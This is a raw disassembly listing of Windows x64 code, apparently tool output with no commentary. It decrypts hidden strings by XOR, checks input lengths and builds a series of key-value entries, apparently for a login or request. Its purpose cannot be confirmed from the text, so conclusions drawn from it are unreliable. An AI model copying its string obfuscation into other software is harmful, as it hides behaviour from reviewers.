mov qword [rbp + 0x9ab0], rax
cmp rbx, rax
je 0x7ff7cbf738c3
mov rax, rbx
lea rcx, [rbp + 0x98a0]
mov edx, 2
lea r8d, [rdx + 0x7e]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x7ff7cbf73677
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
mov eax, dword [rax + 0x30]
mov dword [rcx + 0x30], eax
mov qword [rbp + 0x71f8], r15
mov byte [rsp + 0x20], r15b
mov r9b, dil
lea r8, [rbp + 0x71c0]
lea rdx, [0x7ff7cbf93640]
lea rcx, [rbp + 0x8958]
call fcn.7ff7cbf32f20
lea rdx, [rbp + 0x98a4]
lea rcx, [rbp + 0x4aa0]
call fcn.7ff7cbf359ec
lea rdx, [rbp + 0x4aa0]
lea rcx, [rbp + 0x8958]
call fcn.7ff7cbf500e4
mov edi, eax
lea rcx, [rbp + 0x4aa0]
call fcn.7ff7cbf376b0
test edi, edi
je 0x7ff7cbf7389e
movabs rax, 0x60092046f2585b80
mov qword [rbp + 0x23b0], rax
movabs rax, 0x95d0379e4fc9e0c7
mov qword [rbp + 0x23b8], rax
movabs rax, 0x5c378c31ecae17fd
mov qword [rbp + 0x23c0], rax
mov qword [rbp + 0x23c8], r14
lea r8, [rbp + 0x23d0]
lea rdx, [rbp + 0x23b0]
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa960], r13
mov qword [rbp + 0x23d0], r13
mov qword [rbp + 0xa968], r12
mov qword [rbp + 0x23d8], r12
mov qword [rbp + 0xa970], rsi
mov qword [rbp + 0x23e0], rsi
mov qword [rbp + 0xa978], r14
mov qword [rbp + 0x23e8], r14
lea r8, [rbp + 0x23f0]
lea rdx, [rbp + 0x23d0]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
movabs rax, 0x60092046f2585b80
mov qword [rbp + 0xab0], rax
mov qword [rbp + 0x23f0], rax
movabs rax, 0x95d0379e4fc9e0c7
mov qword [rbp + 0xab8], rax
mov qword [rbp + 0x23f8], rax
movabs rax, 0x5c378c31ecae17fd
mov qword [rbp + 0xac0], rax
mov qword [rbp + 0x2400], rax
mov qword [rbp + 0xac8], r14
mov qword [rbp + 0x2408], r14
lea r8, [rbp + 0x2410]
lea rdx, [rbp + 0x23f0]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0xab0]
pxor xmm0, xmmword [rbp + 0xa960]
movdqa xmmword [rbp + 0xab0], xmm0
movdqa xmm1, xmmword [rbp + 0xac0]
pxor xmm1, xmmword [rbp + 0xa970]
movdqa xmmword [rbp + 0xac0], xmm1
mov r8d, edi
lea rdx, [rbp + 0x9907]
lea rcx, [rbp + 0xab0]
call fcn.7ff7cbf28d0c
lea rcx, [rbp + 0x8958]
call fcn.7ff7cbf37620
add rbx, 0x134
cmp rbx, qword [rbp + 0x9ab0]
mov edi, 1
jne 0x7ff7cbf73664
call fcn.7ff7cbf22410
call fcn.7ff7cbf222f0
call fcn.7ff7cbeff408
cmp byte [0x7ff7cbf9469f], r15b
je 0x7ff7cbf7516c
movss xmm2, dword [0x7ff7cbf7ea98]
movaps xmm1, xmm8
lea rcx, [rbp + 0x3630]
call fcn.7ff7cbf365e4
mov rcx, rax
xor edx, edx
call fcn.7ff7cbf0ada8
movaps xmm0, xmm7
call fcn.7ff7cbf0ad4c
mov r8d, dword [0x7ff7cbf946a4]
lea rdx, [0x7ff7cbf9469f]
lea rcx, [0x7ff7cbf84310]
call fcn.7ff7cbef4b30
test al, al
je 0x7ff7cbf7516c
movaps xmm0, xmm11
call fcn.7ff7cbf07930
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
mov r9d, 0x14
lea r8, [0x7ff7cbf94fb8]
lea rdx, [0x7ff7cbf83df0]
lea rcx, [0x7ff7cbf844a8]
call fcn.7ff7cbf250c4
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
mov r9d, 0x100
lea rbx, [0x7ff7cbf94fd0]
mov r8, rbx
lea rdx, [0x7ff7cbf844bc]
lea rcx, [0x7ff7cbf844c8]
call fcn.7ff7cbf250c4
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
mov r9d, 0x1e
lea r8, [0x7ff7cbf950d0]
lea rdx, [0x7ff7cbf7ea50]
lea rcx, [0x7ff7cbf844e0]
call fcn.7ff7cbf250c4
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
mov r9d, 0x1e
lea r8, [0x7ff7cbf950f0]
lea rdx, [0x7ff7cbf844f8]
lea rcx, [0x7ff7cbf84508]
call fcn.7ff7cbf250c4
call fcn.7ff7cbf0750c
movaps xmm2, xmm6
movaps xmm1, xmm6
lea rcx, [rbp + 0x3638]
call fcn.7ff7cbf365e4
mov rdx, rax
lea rcx, [0x7ff7cbf84310]
call fcn.7ff7cbf21118
test al, al
je 0x7ff7cbf7516c
or r9, 0xffffffffffffffff
mov rax, r9
lea rcx, [0x7ff7cbf94fb8]
inc rax
cmp byte [rcx + rax], r15b
jne 0x7ff7cbf73a2f
cmp rax, 5
jae 0x7ff7cbf73a50
call qword [sym.imp.user32.dll_GetForegroundWindow]
lea rdx, [0x7ff7cbf84520]
jmp 0x7ff7cbf75287
mov rax, r9
lea rcx, [0x7ff7cbf950d0]
inc rax
cmp byte [rcx + rax], r15b
jne 0x7ff7cbf73a5a
cmp rax, 7
jae 0x7ff7cbf73a7b
call qword [sym.imp.user32.dll_GetForegroundWindow]
lea rdx, [0x7ff7cbf84538]
jmp 0x7ff7cbf75287
mov rax, rcx
lea r8, [0x7ff7cbf950f0]
sub r8, rcx
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x7ff7cbf73a9b
add rax, rdi
test ecx, ecx
jne 0x7ff7cbf73a88
test edx, edx
je 0x7ff7cbf73ab1
call qword [sym.imp.user32.dll_GetForegroundWindow]
lea rdx, [0x7ff7cbf84550]
jmp 0x7ff7cbf75287
mov rax, r9
inc rax
cmp byte [rbx + rax], r15b
jne 0x7ff7cbf73ab4
cmp rax, 8
jb 0x7ff7cbf7527a
lea rdx, [0x7ff7cbf8456c]
lea rcx, [rbp + 0x6bc0]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [0x7ff7cbf94fd0]
lea rcx, [rbp + 0x6be0]
call fcn.7ff7cbf359ec
mov rdx, rbx
mov rcx, rax
call fcn.7ff7cbf629c8
test al, al
je 0x7ff7cbf7527a
lea rdx, [0x7ff7cbf84570]
lea rcx, [rbp + 0x6c00]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [0x7ff7cbf94fd0]
lea rcx, [rbp + 0x6c20]
call fcn.7ff7cbf359ec
mov rdx, rbx
mov rcx, rax
call fcn.7ff7cbf629c8
test al, al
je 0x7ff7cbf7527a
lea rbx, [0x7ff7cbf83e98]
mov r8, rbx
lea rdx, [0x7ff7cbf93220]
lea rcx, [rbp + 0x56c0]
call fcn.7ff7cbf2ad48
mov rdx, rax
lea r8, [0x7ff7cbf93260]
lea rcx, [rbp + 0x56a0]
call fcn.7ff7cbf2ac24
mov rdx, rax
mov r8, rbx
lea rcx, [rbp + 0x5680]
call fcn.7ff7cbf2ac80
mov rdx, rax
lea r8, [0x7ff7cbf932c0]
lea rcx, [rbp + 0x5660]
call fcn.7ff7cbf2ac24
mov rdx, rax
mov r8, rbx
lea rcx, [rbp + 0x5640]
call fcn.7ff7cbf2ac80
mov rdx, rax
lea r8, [0x7ff7cbf932e0]
lea rcx, [rbp + 0x5620]
call fcn.7ff7cbf2ac24
mov rdx, rax
mov r8, rbx
lea rcx, [rbp + 0x5600]
call fcn.7ff7cbf2ac80
mov rdx, rax
lea r8, [0x7ff7cbf93320]
lea rcx, [rbp + 0x55e0]
call fcn.7ff7cbf2ac24
mov rdx, rax
mov r8, rbx
lea rcx, [rbp + 0x55c0]
call fcn.7ff7cbf2ac80
mov rdx, rax
lea r8, [0x7ff7cbf93300]
lea rcx, [rbp + 0x55a0]
call fcn.7ff7cbf2ac24
mov rdx, rax
mov r8, rbx
lea rcx, [rbp + 0x5580]
call fcn.7ff7cbf2ac80
mov rdx, rax
lea r8, [0x7ff7cbf93240]
lea rcx, [rbp + 0x5560]
call fcn.7ff7cbf2ac24
mov rdx, rax
mov r8, rbx
lea rcx, [rbp + 0x5540]
call fcn.7ff7cbf2ac80
mov rdx, rax
lea r8, [0x7ff7cbf93340]
lea rcx, [rbp + 0x5520]
call fcn.7ff7cbf2ac24
mov rdx, rax
mov r8, rbx
lea rcx, [rbp + 0x5500]
call fcn.7ff7cbf2ac80
mov rdx, rax
lea r8, [0x7ff7cbf93380]
lea rcx, [rbp + 0x8b00]
call fcn.7ff7cbf2ac24
lea rcx, [rbp + 0x5500]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x5520]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x5540]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x5560]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x5580]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x55a0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x55c0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x55e0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x5600]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x5620]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x5640]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x5660]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x5680]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x56a0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x56c0]
call fcn.7ff7cbf376b0
lea rdx, [rbp + 0x8b00]
lea rcx, [rbp + 0x92e0]
call fcn.7ff7cbf5b234
lea rdx, [rbp + 0x92e0]
lea rcx, [rbp + 0x6c40]
call fcn.7ff7cbf359c8
mov rdi, rax
mov qword [rbp + 0x9ab0], rax
lea rdx, [0x7ff7cbf94fd0]
lea rcx, [rbp + 0x6c60]
call fcn.7ff7cbf359ec
mov qword [rbp + 0x99e0], rax
lea rdx, [0x7ff7cbf93280]
lea rcx, [rbp + 0x6c80]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0x9aa0], rax
lea rdx, [0x7ff7cbf950d0]
lea rcx, [rbp + 0x6ca0]
call fcn.7ff7cbf359ec
mov qword [rbp + 0x9ac0], rax
lea rdx, [0x7ff7cbf94fb8]
lea rcx, [rbp + 0x6cc0]
call fcn.7ff7cbf359ec
mov qword [rbp + 0x9a90], rax
lea rdx, [0x7ff7cbf94900]
lea rcx, [rbp + 0x6ce0]
call fcn.7ff7cbf359ec
mov qword [rbp + 0x9a60], rax
lea rcx, [rbp + 0x8a00]
call fcn.7ff7cbf4c748
lea rcx, [rbp + 0x8a00]
call fcn.7ff7cbf4e858
lea rcx, [rbp + 0x9a70]
test al, al
je 0x7ff7cbf73fa4
movabs rax, 0x70762d06be0b49c3
mov qword [rbp + 0x2410], rax
movabs rax, 0x8ec20d860addc6c9
mov qword [rbp + 0x2418], rax
movabs rax, 0x5c378c31ecc0729c
mov qword [rbp + 0x2420], rax
mov qword [rbp + 0x2428], r14
lea r8, [rbp + 0x2430]
lea rdx, [rbp + 0x2410]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa940], r13
mov qword [rbp + 0x2430], r13
mov qword [rbp + 0xa948], r12
mov qword [rbp + 0x2438], r12
mov qword [rbp + 0xa950], rsi
mov qword [rbp + 0x2440], rsi
mov qword [rbp + 0xa958], r14
mov qword [rbp + 0x2448], r14
lea r8, [rbp + 0x2450]
lea rdx, [rbp + 0x2430]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
movabs rax, 0x70762d06be0b49c3
mov qword [rbp + 0xad0], rax
mov qword [rbp + 0x2450], rax
movabs rax, 0x8ec20d860addc6c9
mov qword [rbp + 0xad8], rax
mov qword [rbp + 0x2458], rax
movabs rax, 0x5c378c31ecc0729c
mov qword [rbp + 0xae0], rax
mov qword [rbp + 0x2460], rax
mov qword [rbp + 0xae8], r14
mov qword [rbp + 0x2468], r14
lea r8, [rbp + 0x2470]
lea rdx, [rbp + 0x2450]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0xad0]
pxor xmm0, xmmword [rbp + 0xa940]
movdqa xmmword [rbp + 0xad0], xmm0
movdqa xmm1, xmmword [rbp + 0xae0]
pxor xmm1, xmmword [rbp + 0xa950]
movdqa xmmword [rbp + 0xae0], xmm1
lea rdx, [rbp + 0xad0]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf38164
lea rcx, [rbp + 0x8a00]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9a60]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9a90]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9ac0]
call fcn.7ff7cbf376b0
mov rcx, rbx
jmp 0x7ff7cbf74fed
movabs rbx, 0x764c3d10bb054dd7
mov qword [rbp + 0x1c90], rbx
movabs rax, 0xe1b652800ac9ecf9
mov qword [rbp + 0x1c98], rax
lea r8, [rbp + 0x1ca0]
lea rdx, [rbp + 0x1c90]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa8e0], r13
mov qword [rbp + 0x1ca0], r13
mov qword [rbp + 0xa8e8], r12
mov qword [rbp + 0x1ca8], r12
lea r8, [rbp + 0x1cb0]
lea rdx, [rbp + 0x1ca0]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x10], rbx
mov qword [rbp + 0x1cb0], rbx
movabs rax, 0xe1b652800ac9ecf9
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x1cb8], rax
lea r8, [rbp + 0x1cc0]
lea rdx, [rbp + 0x1cb0]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x10]
pxor xmm0, xmmword [rbp + 0xa8e0]
movdqa xmmword [rbp + 0x10], xmm0
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x6d00]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8a00]
lea rcx, [rbp + 0x6d20]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x9000]
call fcn.7ff7cbf4c4e4
lea rcx, [rbp + 0x84d0]
call fcn.7ff7cbf35ca8
lea rdx, [rbp + 0x8a00]
lea rcx, [rbp + 0x6d40]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rax, 0x429490db70947d1
mov qword [rbp + 0x2360], rax
mov qword [rbp + 0x2368], r12
lea r8, [rbp + 0x2370]
lea rdx, [rbp + 0x2360]
lea rcx, [rbp + 0x9b80]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa8d0], r13
mov qword [rbp + 0x1cd0], r13
mov qword [rbp + 0xa8d8], r12
mov qword [rbp + 0x1cd8], r12
lea r8, [rbp + 0x1ce0]
lea rdx, [rbp + 0x1cd0]
lea rcx, [rbp + 0x8410]
call fcn.7ff7cbf35cf8
movabs rax, 0x429490db70947d1
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x1ce0], rax
mov qword [rbp + 0x28], r12
mov qword [rbp + 0x1ce8], r12
lea r8, [rbp + 0x1cf0]
lea rdx, [rbp + 0x1ce0]
lea rcx, [rbp + 0x9b10]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x20]
pxor xmm0, xmmword [rbp + 0xa8d0]
movdqa xmmword [rbp + 0x20], xmm0
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x6d60]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x84d0]
call fcn.7ff7cbf58f9c
lea rdx, [rbp + 0x9000]
lea rcx, [rbp + 0x6d80]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rax, 0x45d3a06a7134dd7
mov qword [rbp + 0x1cf0], rax
mov qword [rbp + 0x1cf8], r12
lea r8, [rbp + 0x1d00]
lea rdx, [rbp + 0x1cf0]
lea rcx, [rbp + 0x9c50]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa860], r13
mov qword [rbp + 0x1d00], r13
mov qword [rbp + 0xa868], r12
mov qword [rbp + 0x1d08], r12
lea r8, [rbp + 0x1d10]
lea rdx, [rbp + 0x1d00]
lea rcx, [rbp + 0x9bc0]
call fcn.7ff7cbf35cf8
movabs rax, 0x45d3a06a7134dd7
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x1d10], rax
mov qword [rbp + 0x38], r12
mov qword [rbp + 0x1d18], r12
lea r8, [rbp + 0x1d20]
lea rdx, [rbp + 0x1d10]
lea rcx, [rbp + 0x9c80]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x30]
pxor xmm0, xmmword [rbp + 0xa860]
movdqa xmmword [rbp + 0x30], xmm0
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x6da0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x84d0]
call fcn.7ff7cbf58f9c
mov rdx, qword [rbp + 0x9a90]
lea rcx, [rbp + 0x6dc0]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rax, 0x4294963b30349c4
mov qword [rbp + 0x1d20], rax
mov qword [rbp + 0x1d28], r12
lea r8, [rbp + 0x1d30]
lea rdx, [rbp + 0x1d20]
lea rcx, [rbp + 0x9c20]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xac60], r13
mov qword [rbp + 0x1d30], r13
mov qword [rbp + 0xac68], r12
mov qword [rbp + 0x1d38], r12
lea r8, [rbp + 0x1d40]
lea rdx, [rbp + 0x1d30]
lea rcx, [rbp + 0x9c10]
call fcn.7ff7cbf35cf8
movabs rax, 0x4294963b30349c4
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x1d40], rax
mov qword [rbp + 0x48], r12
mov qword [rbp + 0x1d48], r12
lea r8, [rbp + 0x1d50]
lea rdx, [rbp + 0x1d40]
lea rcx, [rbp + 0x9c00]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x40]
pxor xmm0, xmmword [rbp + 0xac60]
movdqa xmmword [rbp + 0x40], xmm0
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x6de0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x84d0]
call fcn.7ff7cbf58f9c
mov rdx, qword [rbp + 0x9ac0]
lea rcx, [rbp + 0x6e00]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rax, 0x4294963b0004ac7
mov qword [rbp + 0x1d50], rax
mov qword [rbp + 0x1d58], r12
lea r8, [rbp + 0x1d60]
lea rdx, [rbp + 0x1d50]
lea rcx, [rbp + 0x9bf0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xac50], r13
mov qword [rbp + 0x1d60], r13
mov qword [rbp + 0xac58], r12
mov qword [rbp + 0x1d68], r12
lea r8, [rbp + 0x1d70]
lea rdx, [rbp + 0x1d60]
lea rcx, [rbp + 0x9be0]
call fcn.7ff7cbf35cf8
movabs rax, 0x4294963b0004ac7
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x1d70], rax
mov qword [rbp + 0x78], r12
mov qword [rbp + 0x1d78], r12
lea r8, [rbp + 0x1d80]
lea rdx, [rbp + 0x1d70]
lea rcx, [rbp + 0x9bd0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x70]
pxor xmm0, xmmword [rbp + 0xac50]
movdqa xmmword [rbp + 0x70], xmm0
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x6e20]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x84d0]
call fcn.7ff7cbf58f9c
mov rdx, qword [rbp + 0x9a60]
lea rcx, [rbp + 0x6e40]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rax, 0x4294963b1014bc6
mov qword [rbp + 0x1d80], rax
mov qword [rbp + 0x1d88], r12
lea r8, [rbp + 0x1d90]
lea rdx, [rbp + 0x1d80]
lea rcx, [rbp + 0x9cb0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xac40], r13
mov qword [rbp + 0x1d90], r13
mov qword [rbp + 0xac48], r12
mov qword [rbp + 0x1d98], r12
lea r8, [rbp + 0x1da0]
lea rdx, [rbp + 0x1d90]
lea rcx, [rbp + 0x9ca0]
call fcn.7ff7cbf35cf8
movabs rax, 0x4294963b1014bc6
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x1da0], rax
mov qword [rbp + 0x88], r12
mov qword [rbp + 0x1da8], r12
lea r8, [rbp + 0x1db0]
lea rdx, [rbp + 0x1da0]
lea rcx, [rbp + 0x9c90]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x80]
pxor xmm0, xmmword [rbp + 0xac40]
movdqa xmmword [rbp + 0x80], xmm0
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x6e60]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x84d0]
call fcn.7ff7cbf58f9c
mov rdx, qword [rbp + 0x9aa0]
lea rcx, [rbp + 0x6e80]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rax, 0x4294963b6064cc1
mov qword [rbp + 0x1db0], rax
mov qword [rbp + 0x1db8], r12
lea r8, [rbp + 0x1dc0]
lea rdx, [rbp + 0x1db0]
lea rcx, [rbp + 0x9cc0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xac30], r13
mov qword [rbp + 0x1dc0], r13
mov qword [rbp + 0xac38], r12
mov qword [rbp + 0x1dc8], r12
lea r8, [rbp + 0x1dd0]
lea rdx, [rbp + 0x1dc0]
lea rcx, [rbp + 0x9d80]
call fcn.7ff7cbf35cf8
movabs rax, 0x4294963b6064cc1
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x1dd0], rax
mov qword [rbp + 0x98], r12
mov qword [rbp + 0x1dd8], r12
lea r8, [rbp + 0x1de0]
lea rdx, [rbp + 0x1dd0]
lea rcx, [rbp + 0x9d70]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x90]
pxor xmm0, xmmword [rbp + 0xac30]
movdqa xmmword [rbp + 0x90], xmm0
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x6ea0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x84d0]
call fcn.7ff7cbf58f9c
mov rdx, rdi
lea rcx, [rbp + 0x6ec0]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rax, 0x4294963b7074dc0
mov qword [rbp + 0x1de0], rax
mov qword [rbp + 0x1de8], r12
lea r8, [rbp + 0x1df0]
lea rdx, [rbp + 0x1de0]
lea rcx, [rbp + 0x9d60]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xac20], r13
mov qword [rbp + 0x1df0], r13
mov qword [rbp + 0xac28], r12
mov qword [rbp + 0x1df8], r12
lea r8, [rbp + 0x1e00]
lea rdx, [rbp + 0x1df0]
lea rcx, [rbp + 0x9d50]
call fcn.7ff7cbf35cf8
movabs rax, 0x4294963b7074dc0
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0x1e00], rax
mov qword [rbp + 0xa8], r12
mov qword [rbp + 0x1e08], r12
lea r8, [rbp + 0x1e10]
lea rdx, [rbp + 0x1e00]
lea rcx, [rbp + 0x9d40]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0xa0]
pxor xmm0, xmmword [rbp + 0xac20]
movdqa xmmword [rbp + 0xa0], xmm0
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x6ee0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x84d0]
call fcn.7ff7cbf58f9c
mov rdx, qword [rbp + 0x99e0]
lea rcx, [rbp + 0x6f00]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rax, 0x4294963b4044ec3
mov qword [rbp + 0x1e10], rax
mov qword [rbp + 0x1e18], r12
lea r8, [rbp + 0x1e20]
lea rdx, [rbp + 0x1e10]
lea rcx, [rbp + 0x9d30]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xac10], r13
mov qword [rbp + 0x1e20], r13
mov qword [rbp + 0xac18], r12
mov qword [rbp + 0x1e28], r12
lea r8, [rbp + 0x1e30]
lea rdx, [rbp + 0x1e20]
lea rcx, [rbp + 0x9d20]
call fcn.7ff7cbf35cf8
movabs rax, 0x4294963b4044ec3
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0x1e30], rax
mov qword [rbp + 0xb8], r12
mov qword [rbp + 0x1e38], r12
lea r8, [rbp + 0x1e40]
lea rdx, [rbp + 0x1e30]
lea rcx, [rbp + 0x9d10]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0xb0]
pxor xmm0, xmmword [rbp + 0xac10]
movdqa xmmword [rbp + 0xb0], xmm0
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x6f20]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x84d0]
call fcn.7ff7cbf58f9c
lea rcx, [rbp + 0x84d0]
call fcn.7ff7cbf4e858
test al, al
je 0x7ff7cbf74d50
mov rcx, rdi
call fcn.7ff7cbf3fb20
mov rdi, rax
mov rcx, qword [rbp + 0x9aa0]
call fcn.7ff7cbf3fb20
mov rbx, rax
movabs rax, 0x655f270af23f05fe
mov qword [rbp + 0x34b0], rax
movabs rax, 0x88d1378030def0ca
mov qword [rbp + 0x34b8], rax
movabs rax, 0x2e58ea6e9ecb6384
mov qword [rbp + 0x34c0], rax
movabs rax, 0xa69e4bcdf33548a5
mov qword [rbp + 0x34c8], rax
movabs rax, 0xa283257fe065208a
mov qword [rbp + 0x34d0], rax
movabs rax, 0xab26bf8ed389a85e
mov qword [rbp + 0x34d8], rax
movabs rax, 0xa1a8ddf4cc42d062
mov qword [rbp + 0x34e0], rax
movabs rax, 0xb67aaf4f247f118
mov qword [rbp + 0x34e8], rax
movabs rax, 0xa5e5291b4477960d
mov qword [rbp + 0x34f0], rax
movabs rax, 0x1dd20b8a36ca0bee
mov qword [rbp + 0x34f8], rax
lea r8, [rbp + 0x3500]
lea rdx, [rbp + 0x34b0]
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xaa10], r13
mov qword [rbp + 0x3410], r13
mov qword [rbp + 0xaa18], r12
mov qword [rbp + 0x3418], r12
mov qword [rbp + 0xaa20], rsi
mov qword [rbp + 0x3420], rsi
mov qword [rbp + 0xaa28], r14
mov qword [rbp + 0x3428], r14
movabs rax, 0xccec465fcd4509f9
mov qword [rbp + 0xaa30], rax
mov qword [rbp + 0x3430], rax
movabs rax, 0xc642deaea7eac92a
mov qword [rbp + 0xaa38], rax
mov qword [rbp + 0x3438], rax
movabs rax, 0x81c0a99dbb62be0b
mov qword [rbp + 0xaa40], rax
mov qword [rbp + 0x3440], rax
movabs rax, 0x6c08c6d4812e996c
mov qword [rbp + 0xaa48], rax
mov qword [rbp + 0x3448], rax
movabs rax, 0xa5e5291b4477960d
mov qword [rbp + 0xaa50], rax
mov qword [rbp + 0x3450], rax
movabs rax, 0x1dd20b8a36ca0bee
mov qword [rbp + 0xaa58], rax
mov qword [rbp + 0x3458], rax
lea r8, [rbp + 0x3460]
lea rdx, [rbp + 0x3410]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
movabs rax, 0x655f270af23f05fe
mov qword [rbp + 0x17d0], rax
mov qword [rbp + 0x3460], rax
movabs rax, 0x88d1378030def0ca
mov qword [rbp + 0x17d8], rax
mov qword [rbp + 0x3468], rax
movabs rax, 0x2e58ea6e9ecb6384
mov qword [rbp + 0x17e0], rax
mov qword [rbp + 0x3470], rax
movabs rax, 0xa69e4bcdf33548a5
mov qword [rbp + 0x17e8], rax
mov qword [rbp + 0x3478], rax
movabs rax, 0xa283257fe065208a
mov qword [rbp + 0x17f0], rax
mov qword [rbp + 0x3480], rax
movabs rax, 0xab26bf8ed389a85e
mov qword [rbp + 0x17f8], rax
mov qword [rbp + 0x3488], rax
movabs rax, 0xa1a8ddf4cc42d062
mov qword [rbp + 0x1800], rax
mov qword [rbp + 0x3490], rax
movabs rax, 0xb67aaf4f247f118
mov qword [rbp + 0x1808], rax
mov qword [rbp + 0x3498], rax
